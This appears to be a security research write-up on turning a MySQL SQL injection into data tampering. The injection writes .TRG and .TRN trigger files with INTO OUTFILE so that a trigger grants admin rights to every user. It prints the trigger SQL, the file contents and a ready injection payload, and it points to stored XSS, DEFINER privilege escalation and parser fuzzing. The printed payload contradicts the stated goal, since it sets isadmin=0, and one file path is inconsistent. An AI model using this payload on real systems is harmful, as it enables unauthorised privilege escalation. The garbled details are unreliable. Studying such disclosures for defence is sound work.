Security experts know that is possible to inject stacked queries on Microsoft SQL Server, when dealing with SQL Injections but not on other DBMS.
In the next few lines we'll describe a new technique that could allow an attacker
to insert or update data also when there is a SQL Injection on select queries.
The most known attack also implemented on SQLMap is the takeover technique when the MySQL user has File Privileges and the DBMS is on the same server of the exposed web application.
What to do when the DBMS host is on a different server?
Something can be done by abusing Triggers.
MySQL supports Triggers since 5.0.2.
In MySQL, Triggers are wrote as a separate file on the same directory of
the Database data dir.
It needs two files:
/mysql/datadir/DB/TableName.TRG
/mysql/datadir/DB/TriggerName.TRN
Suppose now that a `user` table exists on users DB.
So run mysql client and create the following trigger:
mysql> delimiter //
mysql> CREATE trigger atk after insert on user for each row
-> begin
-> update user set isadmin=1 where isadmin=0;
-> end//
mysql> delimiter ;
We can see that two files were created in data directory of users DB:
/var/lib/mysql/users/atk.TRN
TYPE=TRIGGERNAME
trigger_table=user
and /var/lib/mysql/users/user.TRG
TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` trigger atk after insert on user for each row\nbegin\nupdate user set isadmin=1 where isadmin=0;\nend'
sql_modes=0
definers='root@localhost'
client_cs_names='latin1'
connection_cl_names='latin1_swedish_ci'
db_cl_names='latin1_swedish_ci'
What happens if we successfully write user.TRG and atk.TRN in
/var/lib/mysql/users/users.TRG using INTO OUTFILE ?
AND 1=0 union select 'TYPE=TRIGGERS' into outfile
'/var/lib/mysql/users/user.TRG' LINES TERMINATED BY '\\ntriggers=\'CREATE
DEFINER=`root`@`localhost` trigger atk after insert on user for each row\\nbegin
\\nupdate user set isadmin=0 where
isadmin=1;\\nend\'sql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'l
atin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedi
sh_ci\'\n';
Then do the same to create atk.TRN
TYPE=TRIGGERNAME
trigger_table=user
MySQL will check if a TRG extension is present and will execute the
trigger.
So, in this scenery, after a user registration every user will be an admin... and Stored Xss like Frame Injection could be accomplished as well.
Also some privilege escalation could probably be done since the DEFINER keyword says to MySQL the user on behalf the trigger should be executed.
Another interesting thing about this attack is that we can try fuzzing
tabname.MYD
tabname.MYI
tabname.frm
and of course
tabname.TRG
triggername.TRN
file format and try to exploit the file format parsers.
We found some crash on TRG which doesn't seem to be exploitable, but who knows..further research could result in exploitable parser errors on those file formats.